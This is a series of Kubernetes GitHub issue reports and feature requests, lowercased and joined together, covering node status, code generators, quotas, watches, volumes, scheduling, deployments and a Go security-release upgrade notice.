docker-pullable://nginx@sha256:423210a5903e9683d2bc8436ed06343ad5955c1aec71a04e1d45bd70b0d68460\ ,\r         \ containerid\ : \ docker://c4d5a6d4dd72d767f02f18d1e05cb6780aeddefb2d9f2d4ecc4a41255285a33d\ \r       }\r      ,\r     \ qosclass\ : \ besteffort\ \r   }\r } \r \r   what you expected to happen  :\r then  pod on the node status.phase still running.if the node lost , should  we mark pods on the node status.phase unknown?\r   how to reproduce it  as minimally and precisely as possible   :\r stop one node kubelet and  network.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  :\r bare metal\r - os  e.g. from /etc/os-release :\r centos7.2\r - kernel  e.g.  uname -a  :\r 3.10.0\r - install tools:\r - others:\r

as part of the effort to make kubernetes api types and machinery more consumable, we are attempting to decouple the code generators from the main kubernetes api codebase.\r \r with the introduction of the new code generation scripts in https://github.com/kubernetes/kubernetes/pull/52186, we made it easy for external projects to consume generators and generate code for their own api groups.\r \r however, when running these generators against my types, the default value of  --extra-peer-dirs  includes  k8s.io/kubernetes/pkg/api  and  k8s.io/kubernetes/pkg/api/v1   here: https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/code-generator/cmd/conversion-gen/main.go l55-l56 . this causes the conversion generator to panic if this repo path isn't available, which in my project it is not  to save having to vendor the entire k8s source tree .\r \r i understand the need to include these extra peer dirs is so that we can generate conversions when one of my own types references the core api types, however none of my types do this.\r \r i see a few courses of actions:\r \r   update conversion-gen to not panic if it cannot find a directory listed in --extra-peer-dirs\r   update conversion-gen defaults to not include  k8s.io/kubernetes/pkg/api  and  k8s.io/kubernetes/pkg/api/v1   which is breaking, and raises the question: \ what constitutes something that makes sense to be default here?\  \r   update the generate- -groups.sh script to somehow accept args just for one of the generators  so that we can pass --extra-peer-dirs to the generator without breaking calls to  other  types of generator that don't include the  --extra-peer-dirs  flag \r \r for the time being, i am calling the generate scripts twice in my  update-client-gen  script  see: https://github.com/jetstack-experimental/navigator/blob/6a8477646109a002f3fc5e2846f0e8bd2f5ec51f/hack/update-client-gen.sh l12-l23 \r \r  /cc @sttts @nikhita @hongchaodeng

we should move things into test/foo/owners instead\r \r https://github.com/kubernetes/kubernetes/pull/55319 issuecomment-342905734\r \r /assign\r /cc @spiffxp

a bug was discovered recently where the healthcheck nodeport was not considered in the repair nodeport allocation map garbage collector. this resulted in healthcheck node ports being double allocated.\r \r we should centralize the node port allocation/deallocation logic in one package. if this is not possible, then the relationship of all entities that affect nodeport allocation should be clearly documented.\r \r /cc @bowei @nicksardo @mrhohn

the go team has released go1.11.5 and 1.10.8 with a security fix.\r https://groups.google.com/d/msg/golang-announce/mvex35ixusw/flp8fx7qeaaj\r \r > we have just released go 1.11.5 and go 1.10.8 to address a recently reported security issue. we recommend that all users update to one of these releases  if you’re not sure which, choose go 1.11.5 .\r > \r > this dos vulnerability in the crypto/elliptic implementations of the p-521 and p-384 elliptic curves may let an attacker craft inputs that consume excessive amounts of cpu.\r > \r > these inputs might be delivered via tls handshakes, x.509 certificates, jwt tokens, ecdh shares or ecdsa signatures. in some cases, if an ecdh private key is reused more than once, the attack can also lead to key recovery.\r > \r > the issue is cve-2019-6486 and go issue golang/go 29903. see the go issue for more details.\r \r we should kick off upgrades of both the kubernetes build system, and our ci, as soon as possible.\r \r ---\r status:\r -  x  test-infra  kubernetes/test-infra 10957 \r -  x  master/1.14   73326 \r -  x  1.13   73376 \r -  x  1.12   73329 \r -  x  1.11   73379 \r ---\r \r cc: @ixdy @kubernetes/sig-testing @kubernetes/sig-release @kubernetes/product-security-team\r /area security\r  /

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r i extracted the images from https://github.com/kubernetes/kubernetes/blob/master/test/utils/image/manifest.go to mirror them in a closed environment and got an error for  cudavectoradd2  resepctive gcr.io/kubernetes-e2e-test-images/cuda-vector-add:2.0: \r  error response from daemon: manifest for gcr.io/kubernetes-e2e-test-images/cuda-vector-add:2.0 not found \r the var  cudavectoradd2  also does not seem to be referenced in any test.\r \r   what you expected to happen  :\r \r the image should either be pullable or the variable be removed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r $ docker image pull gcr.io/kubernetes-e2e-test-images/cuda-vector-add:2.0\r error response from daemon: manifest for gcr.io/kubernetes-e2e-test-images/cuda-vector-add:2.0 not found\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t20:08:12z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t20:00:57z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r \r i have a problem with setting kubernetes loadbalancer/ingress under port 80 for example . i don't use with any cloud, just vps servers with only one ip per server. i'm was trying install traefik but i dont get external-ip - stuck on pending.\r \r i have read that i need something what simulating loadbalancer so i installed metallb but it more dedicated from local network no vps servers and didn't work for me or i can't configure it. my config-map for metallb:\r \r    \r apiversion: v1\r kind: configmap\r metadata:\r   namespace: default\r   name: config\r data:\r   config: |\r     address-pools:\r     - name: default\r       protocol: layer2\r       addresses:\r       - node1_ip\r       - node2_ip\r       - node3_ip\r \r    \r what i should do to on that cluster to be able to expose websites under normal port type 80, or can using reverse proxy like traefik.\r

currently watches only log when they complete, which can make analyzing kube-apiserver log files a bit tricky.  did component x never start watching after that list or did apiserver shut down?

i enable  resourcequota  in my cluster. i have one namespace  ns-xnxin . i have 2 quotas created for that namespace:       venv xnxin@lm-shc-00950210:~/workspace/go/src/k8s.io/kubernetes/yamls$ kubectl describe quota quota --namespace=ns-xnxin name:           quota-xnxin namespace:      ns-xnxin resource        used    hard --------        ----    ---- cpu         0   20 memory          0   1gi pods            3   3 services        0   5  name:       quota-xnxin-test namespace:  ns-xnxin resource    used    hard --------    ----    ---- pods        3   1 services    0   5      before creating quotas, there are already 3 pods running under  ns-xnxin .  then, i tried to create new pod two times, but got different response:       venv xnxin@lm-shc-00950210:~/workspace/go/src/k8s.io/kubernetes/yamls$ kubectl create -f busybox-limit.json --namespace=ns-xnxin error from server: error when creating \ busybox-limit.json\ : pod \ busybox-limit\  is forbidden: limited to 3 pods           venv xnxin@lm-shc-00950210:~/workspace/go/src/k8s.io/kubernetes/yamls$ kubectl create -f busybox-limit.json --namespace=ns-xnxin error from server: error when creating \ busybox-limit.json\ : pod \ busybox-limit\  is forbidden: limited to 1 pods      it seems that api-server do quota validation in a random behavior by the first get quota record. i think this is not a consistent behavior and need to be enhanced. two proposed options: - if k8s accept duplicate resource definition in different quota  for example, in two quotas, both of them contains pod quota , the quota validation should be done against the sum of them. - another option is to have resource conflict validation during quota creation. say, do not allow duplicated resource in different quota.

we need  in  : - go - python - javascript - java - ruby  see also  22389  cc @lavalamp

consider the following: - apiserver watch expires, relisting from etcd   - update pod with deletion timestamp, rv: x   - delete after a few seconds, rv: y - apiserver starts watching from rv: x - apiserver gets \ too old resource version\ , relists and starts watching from rv z  if z > y: informer sends tombstone object because pod is gone from list but in store. if x < z < y: informer sends delete, but the delete has an embedded update.  can we detect the update in the second case and send an update followed by a delete? or did i miss how this case is handled?

i'd like to be able to initialize a watch api call that will collect pods that have been modified using kubectl exec. the existing watch endpoint for pods works just fine except that modified events are not published when the container/pod is modified by a kubectl exec.  i propose that we publish two events so that plugins can be written to capture/handle when this happens.  when a call to the exec api is started a new eventtype of \ execstart\  is published. when a call to the exec api is complete/terminated a new eventtype of \ execstop\  is published.  if it's not an interactive command it would work the same when the command starts and stops. the thought here is that some plugins will want to key off of the start of a command so they can report on a long running command immediately while other tools may want to perform some sort of cleanup action once the command is complete or the tty connection is complete.  a few example  but not limited to  use cases -  a plugin that logs changes in an environment to a thirdparty or internal api a plugin that terminates pods if anyone could have tinkered with a container  i'd be perfectly fine with other implementation suggestions that still allow one to capture and differentiate the beginning and ending of a long running statement or tty. this could be expanded to provide additional details in the event stream if it would be useful to the community like stdin/stderr/stdout.  thank you for your consideration and feedback.

we recently updated some images we are using to have proper tag / version, such as cadvisor, fluentd-elasticsearch etc. but there are still having a lot of images without tag.      find examples/ -type f | xargs grep \ image: \  examples/hazelcast/hazelcast-controller.yaml:            image: pires/hazelcast-k8s examples/hazelcast/readme.md:        image: pires/hazelcast-k8s examples/hazelcast/readme.md:            image: pires/hazelcast-k8s examples/hazelcast/hazelcast.yaml:        image: pires/hazelcast-k8s examples/walkthrough/readme.md:        image: dockerfile/nginx examples/walkthrough/readme.md:        image: dockerfile/redis examples/walkthrough/readme.md:        image: dockerfile/nginx examples/walkthrough/readme.md:        image: kubernetes/git-monitor examples/walkthrough/pod1.yaml:        image: dockerfile/nginx examples/walkthrough/pod-with-http-healthcheck.yaml:        image: dockerfile/nginx examples/walkthrough/pod2.yaml:        image: dockerfile/redis examples/walkthrough/replication-controller.yaml:            image: dockerfile/nginx examples/walkthrough/k8s201.md:            image: dockerfile/nginx examples/walkthrough/k8s201.md:        image: dockerfile/nginx examples/liveness/exec-liveness.yaml:      - image: busybox examples/liveness/http-liveness.yaml:      - image: kubernetes/liveness examples/gce-pd/testpd.yaml:      - image: kubernetes/pause

in the actual state of volume controller on master, each attached volume has a data structure as follows. note that there is only one devicepath for each volume. this is wrong in case of volume could be attached to multiple nodes and they might have different device paths  e.g., aws .\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/volume/attachdetach/cache/actual_state_of_world.go\r \r    go\r // the volume object represents a volume the the attach/detach controller\r // believes to be successfully attached to a node it is managing.\r type attachedvolume struct {\r \t// volumename contains the unique identifier for this volume.\r \tvolumename v1.uniquevolumename\r \r \t// spec is the volume spec containing the specification for this volume.\r \t// used to generate the volume plugin object, and passed to attach/detach\r \t// methods.\r \tspec  volume.spec\r \r \t// nodesattachedto is a map containing the set of nodes this volume has\r \t// successfully been attached to. the key in this map is the name of the\r \t// node and the value is a node object containing more information about\r \t// the node.\r \tnodesattachedto map types.nodename nodeattachedto\r \r \t// devicepath contains the path on the node where the volume is attached\r \tdevicepath string\r }\r

kubernetes version    use  kubectl version  :\r google container engine, using 1.6.2\r \r   environment  :\r -   cloud provider or hardware configuration  :\r google container engine\r -   os    e.g. from /etc/os-release :\r cos image  also tried container-vm image with the exact same result \r \r   what happened  :\r when trying to use :shared  mount propagation  on a volume mount the container will not start and throws an error.\r \r the error is:\r    \r failed to start container with id 3d5c12f50a26390963f79919c3e4694d992f77906f200f404f8359445a1c434a with error: rpc error: code = 2 desc = failed to start container \ 3d5c12f50a26390963f79919c3e4694d992f77906f200f404f8359445a1c434a\ : error response from daemon: linux mounts: path /var/lib/kubelet/pods/ac0d45c6-456b-11e7-9165-42010a800158/volumes/kubernetes.io~gce-pd/pvc-fb9f09b4-32c5-11e7-9165-42010a800158/data is mounted on /var/lib/kubelet/pods/ac0d45c6-456b-11e7-9165-42010a800158/volumes/kubernetes.io~gce-pd/pvc-fb9f09b4-32c5-11e7-9165-42010a800158 but it is not a shared mount.\r error syncing pod, skipping: failed to \ startcontainer\  for \ cloud-storage\  with rpc error: code = 2 desc = failed to start container \ 3d5c12f50a26390963f79919c3e4694d992f77906f200f404f8359445a1c434a\ : error response from daemon: linux mounts: path /var/lib/kubelet/pods/ac0d45c6-456b-11e7-9165-42010a800158/volumes/kubernetes.io~gce-pd/pvc-fb9f09b4-32c5-11e7-9165-42010a800158/data is mounted on /var/lib/kubelet/pods/ac0d45c6-456b-11e7-9165-42010a800158/volumes/kubernetes.io~gce-pd/pvc-fb9f09b4-32c5-11e7-9165-42010a800158 but it is not a shared mount.: \ start container failed\ \r    \r \r   what you expected to happen  :\r i expect the container to start and any fuse mounts it creates in a volume that exists on other containers in the pod  that are using :slave  are available to those other containers. i currently have a cluster setup in aws  configured using kops with the standard kops image  and this is working fine. i'm trying to migrate my services over to google cloud, but this is a show stopper.\r \r   how to reproduce it    as minimally and precisely as possible :\r this is a minimal deploy config that provides the error i receive:\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: test\r   labels:\r     name: test\r spec:\r   replicas: 1\r   strategy:\r     type: recreate\r   template:\r     metadata:\r       labels:\r         name: test\r       annotations:\r         version: \ 1\ \r     spec:\r       containers:\r         - name: cloud-storage\r           image: tcf909/cloud-storage\r           securitycontext:\r             privileged: true\r             capabilities:\r               add:\r                 - sys_admin  this doesn't actually work for now because of something to do with using volumemounts to pass /dev/fuse -- require privileged\r           ports:\r           volumemounts:\r              for rclone_mount and  union_mount\r             - name: fuse\r               mountpath: /dev/fuse\r              for rclone_mount\r             - name: data\r               mountpath: /data:shared\r               subpath: data\r         - name: cloud-storage2\r           image: tcf909/cloud-storage\r           securitycontext:\r             privileged: true\r             capabilities:\r               add:\r                 - sys_admin  this doesn't actually work for now because of something to do with using volumemounts to pass /dev/fuse -- require privileged\r           ports:\r           volumemounts:\r              for rclone_mount and  union_mount\r             - name: fuse\r               mountpath: /dev/fuse\r              for rclone_mount\r             - name: data\r               mountpath: /data:slave\r               subpath: data\r       volumes:\r         - name: fuse\r           hostpath:\r             path: /dev/fuse\r         - name: data\r           persistentvolumeclaim:\r             claimname: data\r    \r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r after restart kubelet and docker service, kubelet stopped posting node status.\r \r   what you expected to happen  :\r node become ready again and continue post node status every 10s.\r \r   how to reproduce it  as minimally and precisely as possible   :\r not 100% reproducible, one out of several times when restart kubelet and docker services.\r \r \r   anything else we need to know?  :\r syncnodestatus seems stopped running, cannot see \ using node ip:\  logs every 10s, kubelet service is in active status though. restart kubelet can fix this issue.\r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:48:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r \r - kernel  e.g.  uname -a  :\r     linux test0shared0-samminionatlasdir1-1-prd.eng.sfdc.net 3.10.0-693.2.2.el7.x86_64  1 smp tue sep 12 22:26:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux

is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r currently, if scheduler extenders are declared in scheduler policy config file, all extenders will be invoked for all pods when scheduling, which may be not necessary all the time.\r \r when i needed a subset of my pods be scheduled with default polices and my own policy, while others be not, i had to add my filter and prioritize code into internal scheduler and run it along size with the internal one, and specified  spec.schedulername: my-scheduler  in the pods' yaml file.\r but this approach failed when we migrate to a new cluster with a higher version. as api changed for some fields in the pod specification, but my scheduler was written based on older code. i have to update my scheduler. and i am worried about if i have to rewrite the same code every time we upgrade to a newer cluster.\r \r scheduler extender seems like a better approach facing cluster upgrading, but pods can not be specified for particular extender s , which makes this approach unusable for me right now.\r \r \r   what you expected to happen  :\r \r 1. assign a unique name for a user implemented scheduler extender, \r along with a property  invokepolicy:  always|whenspecified   in scheduler policy config file.\r older extenders or ones missed this property could be considered  invokepolicy == always  \r to be compatible with current behaviors\r 1. add a field of list in pod yaml file:  spec.schedulerextenders:  my-extender-a, my-extender-b  \r 2. during scheduling, following extenders will be considered for a pod:\r     1. extender with  invokepolicy == always \r     2. extender with  invokepolicy == whenspecified  && its name is in pod's spec.schedulerextenders\r \r   anything else we need to know?  :\r \r this feature may conflict with https://github.com/kubernetes/kubernetes/pull/61445, pod specified extenders should be always invoked   for this pod  . it is better to set the pod pendingscheduling if specified extender is unavailable, while other pods could be still scheduled because they do not need it.\r

hello!\r \r  /cc @jiayingz @vikaschoudhary16 @vishh @vladimirvivien @sbezverk @saad-ali \r \r currently the lifecycle of a plugin going through the pluginwatcher process is the following:\r \r ! current  https://user-images.githubusercontent.com/2519571/42231914-2e5331e2-7eed-11e8-9cca-efb86f4c5e91.png \r \r this is an issue as it doesn't allow pluginwatcher consumers to implement zero downtime upgrade. paired with the re-registration issue  65770 i suggest we change the pluginwatcher lifecycle to make it clear that a plugin watcher consumer  device plugin, csi  can and should be doing initialization during it's callback.\r \r i've create an example lifecycle that shows how this would apply to the device plugin and allow for zero downtime upgrade:\r \r ! new  https://user-images.githubusercontent.com/2519571/42232120-c7c4df88-7eed-11e8-86c6-c105e24115eb.png \r \r

 \r   what happened  :\r installed dask on ec2 kubernetes.\r then \r $ kubectl get svc --namespace default -w fantastic-hare-dask-jupyter\r name                          type           cluster-ip       external-ip        port s         age\r fantastic-hare-dask-jupyter   loadbalancer   10.152.183.209   abe472d9e8676...   80:31526/tcp   21m\r e0713 10:51:20.601473   22966 streamwatcher.go:109  unable to decode an event from the watch stream: stream error: stream id 3; internal_error\r \r   what you expected to happen  :\r something that did not end in error\r \r   how to reproduce it  as minimally and precisely as possible   :\r $ helm install stable/dask\r the helm installation ends with a row  that is probably different for your run, copy paste that :\r for me:\r you can watch the status by running 'kubectl get svc --namespace default -w fantastic-hare-dask-jupyter'\r  kubectl get svc --namespace default -w fantastic-hare-dask-jupyter \r \r \r   environment  :\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r amazon ec, conjure-up\r \r

 \r \r   what happened  :\r i've deployed   kube-state-metrics  , but i have only single node which is also used as master. the node has taint \ node-role.kubernetes.io/master=\ \ :noschedule\  and yaml file of deployment did not contain toleration. accordingly, a pod created by replicaset from the deployment could not start. then i added toleration to the spec.template.spec and called \ kubectl replace -f ...\ . it's the full config:\r \r <pre>apiversion: apps/v1beta2\r kind: deployment\r metadata:\r   labels:\r     app: kube-state-metrics\r     name: kube-state-metrics\r   namespace: monitoring\r spec:\r   replicas: 1\r   revisionhistorylimit: 0\r   selector:\r     matchlabels:\r       app: kube-state-metrics\r   strategy:\r     type: recreate\r   template:\r     metadata:\r       labels:\r         app: kube-state-metrics\r     spec:\r       tolerations:\r       - key: node-role.kubernetes.io/master\r         operator: equal\r         effect: noschedule\r       containers:\r       - args:\r         - --secure-listen-address=:8443\r         - --upstream=http://127.0.0.1:8081/\r         image: quay.io/coreos/kube-rbac-proxy:v0.3.1\r         name: kube-rbac-proxy-main\r         ports:\r         - containerport: 8443\r           name: https-main\r         resources:\r           limits:\r             cpu: 20m\r             memory: 40mi\r           requests:\r             cpu: 10m\r             memory: 20mi\r       - args:\r         - --secure-listen-address=:9443\r         - --upstream=http://127.0.0.1:8082/\r         image: quay.io/coreos/kube-rbac-proxy:v0.3.1\r         name: kube-rbac-proxy-self\r         ports:\r         - containerport: 9443\r           name: https-self\r         resources:\r           limits:\r             cpu: 20m\r             memory: 40mi\r           requests:\r             cpu: 10m\r             memory: 20mi\r       - args:\r         - --host=127.0.0.1\r         - --port=8081\r         - --telemetry-host=127.0.0.1\r         - --telemetry-port=8082\r         image: quay.io/coreos/kube-state-metrics:v1.3.1\r         name: kube-state-metrics\r         resources:\r           limits:\r             cpu: 100m\r             memory: 150mi\r           requests:\r             cpu: 100m\r             memory: 150mi\r       - command:\r         - /pod_nanny\r         - --container=kube-state-metrics\r         - --cpu=100m\r         - --extra-cpu=2m\r         - --memory=150mi\r         - --extra-memory=30mi\r         - --threshold=5\r         - --deployment=kube-state-metrics\r         env:\r         - name: my_pod_name\r           valuefrom:\r             fieldref:\r               apiversion: v1\r               fieldpath: metadata.name\r         - name: my_pod_namespace\r           valuefrom:\r             fieldref:\r               apiversion: v1\r               fieldpath: metadata.namespace\r         image: quay.io/coreos/addon-resizer:1.0\r         name: addon-resizer\r         resources:\r           limits:\r             cpu: 10m\r             memory: 30mi\r           requests:\r             cpu: 10m\r             memory: 30mi\r       nodeselector:\r         beta.kubernetes.io/os: linux\r       securitycontext:\r         runasnonroot: true\r         runasuser: 65534\r       serviceaccountname: kube-state-metrics</pre>\r \r as a result, there were 2 replica sets, but new one did not start. then i deleted the deployment and called \ kubectl create -f ...\  again.\r \r <pre>$ kubectl get rs --all-namespaces\r namespace       name                                 desired   current   ready     age\r monitoring      kube-state-metrics-79b8675776        1         1         1         9s\r </pre>\r \r <pre>$ kubectl rollout history deployment/kube-state-metrics -n monitoring\r deployments \ kube-state-metrics\ \r revision  change-cause\r 1         kubectl create --filename=manifests/kube-state-metrics-deployment.yaml --record=true --save-config=true</pre>\r \r everything looked good, but then a couple of seconds later something goes strange.\r \r <pre>$ kubectl get rs --all-namespaces\r namespace       name                                 desired   current   ready     age\r monitoring      kube-state-metrics-54d774c995        1         1         0         8s\r monitoring      kube-state-metrics-79b8675776        0         0         0         23s</pre>\r \r one more replicaset was created and it has pod template from the first deleted deployment. and i got two revisions. the second was created implicitly automatic.\r \r <pre>$ kubectl rollout history deployment/kube-state-metrics -n monitoring\r deployments \ kube-state-metrics\ \r revision  change-cause\r 1         kubectl create --filename=manifests/kube-state-metrics-deployment.yaml --record=true --save-config=true\r 2         kubectl create --filename=manifests/kube-state-metrics-deployment.yaml --record=true --save-config=true</pre>\r \r the pod could not start again.\r \r <pre>$ kubectl get pods --all-namespaces\r namespace       name                                                         ready     status    restarts   age\r monitoring      kube-state-metrics-54d774c995-dnpft                          0/4       pending   0          1h</pre>\r \r i tried to manually edit the pod config to finish deployment stage and then replace the deployment by new one with new pod template hash but it always creates old replicaset implicitly and this replica always wins.\r \r <pre>$ kubectl get rs --all-namespaces\r namespace       name                                 desired   current   ready     age\r monitoring      kube-state-metrics-54d774c995        1         1         0         14s\r monitoring      kube-state-metrics-65bf5c56b6        0         0         0         45m\r monitoring      kube-state-metrics-7bdd4976d9        0         0         0         46m</pre>\r \r as i understand there is an internal queue or other structure which is not cleaned up after \ kubectl delete deployment\ .\r \r   what you expected to happen  :\r the \ kubectl delete\  call must clear all the data associated with the deployment and return to the initial state.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i tried to describe all the steps above.\r \r   anything else we need to know?  :\r \r   environment  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-08t16:31:10z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - install tools: kubeadm\r

what happened  :\r \r after running a rolling-update on a statefulset that uses azure disks, part of the replicas remain in a  containercreating  state _forever_, exhibiting the following events:\r \r    \r events:\r   type     reason                  age                from                                           message\r   ----     ------                  ----               ----                                           -------\r   warning  failedmount             34m  x92 over 4h   kubelet, k8s-xyz-123-vmss000001  unable to mount volumes for pod \ solr-0_default e81d49a2-ee1f-11e8-9bb4-000d3a43da60 \ : timeout expired waiting for volumes to attach or mount for pod \ default\ /\ solr-0\ . list of unmounted volumes= solrhome . list of unattached volumes= solrhome \r    \r \r restarting the  controller-manager  occasionally unblocks the situation:\r \r    \r i1122 10:30:51.712314       1 reconciler.go:281  attacherdetacher.attachvolume started for volume \ pvc-xyz-123\   uniquename: \ kubernetes.io/azure-disk//subscriptions/78f9affd-62e8-4720-a4c2-d433dbfdefe8/resourcegroups/cn1vqys6-refparts25-d1/providers/microsoft.compute/disks/k8s-mstr-xyz-123-ku-pv-xyz-123\   from node \ k8s-xyz-123\  \r i1122 10:30:52.135191       1 operation_generator.go:332  attachvolume.attach succeeded for volume \ pvc-xyz-123\   uniquename: \ kubernetes.io/azure-disk//subscriptions/78f9affd-62e8-4720-a4c2-d433dbfdefe8/resourcegroups/cn1vqys6-refparts25-d1/providers/microsoft.compute/disks/k8s-mstr-xyz-123-ku-pvc-xyz-123\   from node \ k8s-xyz-123\ \r i1122 10:30:52.135517       1 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ solr-0\ , uid:\ e81d49a2-ee1f-11e8-9bb4-000d3a43da60\ , apiversion:\ v1\ , resourceversion:\ 2949400\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulattachvolume' attachvolume.attach succeeded for volume \ pvc-xyz-123\ \r    \r \r   what you expected to happen  :\r \r attach/detach operations succeed consistently.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r here is a copy of the manifest of the affected statefulset:\r \r <details>\r <summary>solr-sts.yaml</summary>\r \r    yaml\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   creationtimestamp: 2018-11-05t16:08:37z\r   generation: 13\r   labels:\r     app.kubernetes.io/component: search\r     app.kubernetes.io/name: solr\r   name: solr\r   namespace: default\r   resourceversion: \ 2981863\ \r   selflink: /apis/apps/v1/namespaces/default/statefulsets/solr\r   uid: 0ddfec77-e115-11e8-b645-000d3a43da60\r spec:\r   podmanagementpolicy: parallel\r   replicas: 2\r   revisionhistorylimit: 10\r   selector:\r     matchlabels:\r       app.kubernetes.io/component: search\r       app.kubernetes.io/name: solr\r   servicename: solr\r   template:\r     metadata:\r       creationtimestamp: null\r       labels:\r         app.kubernetes.io/component: search\r         app.kubernetes.io/name: solr\r     spec:\r       containers:\r       - image: solr\r         imagepullpolicy: ifnotpresent\r         name: solr\r         ports:\r         - containerport: 8983\r           name: http\r           protocol: tcp\r         resources:\r           requests:\r             cpu: \ 1\ \r             memory: 1gi\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /var/solr\r           name: solrhome\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       terminationgraceperiodseconds: 30\r   updatestrategy:\r     type: rollingupdate\r   volumeclaimtemplates:\r   - metadata:\r       creationtimestamp: null\r       name: solrhome\r     spec:\r       accessmodes:\r       - readwriteonce\r       resources:\r         requests:\r           storage: 5gi\r     status:\r       phase: pending\r status:\r   collisioncount: 0\r   currentreplicas: 2\r   currentrevision: solr-74d956b6d8\r   observedgeneration: 13\r   readyreplicas: 2\r   replicas: 2\r   updaterevision: solr-74d956b6d8\r    \r \r </details></br>\r \r and the default storageclass:\r \r <details>\r <summary>sc.yaml</summary>\r \r    yaml\r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ storage.k8s.io/v1beta1\ ,\ kind\ :\ storageclass\ ,\ metadata\ :{\ annotations\ :{\ storageclass.beta.kubernetes.io/is-default-class\ :\ true\ },\ labels\ :{\ kubernetes.io/cluster-service\ :\ true\ },\ name\ :\ default\ ,\ namespace\ :\ \ },\ parameters\ :{\ cachingmode\ :\ none\ ,\ kind\ :\ managed\ ,\ storageaccounttype\ :\ standard_lrs\ },\ provisioner\ :\ kubernetes.io/azure-disk\ }\r     storageclass.beta.kubernetes.io/is-default-class: \ true\ \r   creationtimestamp: 2018-11-05t14:58:55z\r   labels:\r     kubernetes.io/cluster-service: \ true\ \r   name: default\r   resourceversion: \ 265\ \r   selflink: /apis/storage.k8s.io/v1/storageclasses/default\r   uid: 51307313-e10b-11e8-b9f3-000d3a43da60\r parameters:\r   cachingmode: none\r   kind: managed\r   storageaccounttype: standard_lrs\r provisioner: kubernetes.io/azure-disk\r reclaimpolicy: delete\r volumebindingmode: immediate\r    